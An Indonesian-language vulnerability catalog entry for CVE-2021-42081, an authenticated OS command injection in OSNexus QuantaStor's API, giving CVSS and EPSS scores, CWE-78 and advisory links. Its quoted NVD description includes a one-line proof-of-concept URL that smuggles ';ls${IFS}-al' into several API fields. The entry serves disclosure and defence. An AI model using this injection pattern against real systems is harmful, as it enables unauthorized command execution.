CVE-2021-42081

Katalog CVE

CVSS 7.2 · High EPSS 1,2%

Kerentanan Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') pada osnexus quantastor. Skor CVSS 3.1 7.2 (High) menurut NVD.

Deskripsi (NVD)

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Rincian

Terbit di NVD

10 Juli 2023

Terakhir diubah

17 Juni 2026

Status NVD

Modified

CVSS 3.1

7.2 (High), sumber NVD
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H · uraikan di kalkulator

Jenis kelemahan (CWE)

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

EPSS (30 hari)

1,2% peluang dieksploitasi; lebih tinggi dari 68,1% CVE lain

Produk dan versi terdampak

> Data dari konfigurasi CPE di NVD.

Referensi dan perbaikan

• https://csirt.divd.nl/CVE-2021-42081 advisory pihak ketiga
• https://www.wbsec.nl/osnexus advisory pihak ketiga
• https://csirt.divd.nl/DIVD-2021-00020/
• https://www.osnexus.com/products/software-defined-storage product
• https://www.divd.nl/DIVD-2021-00020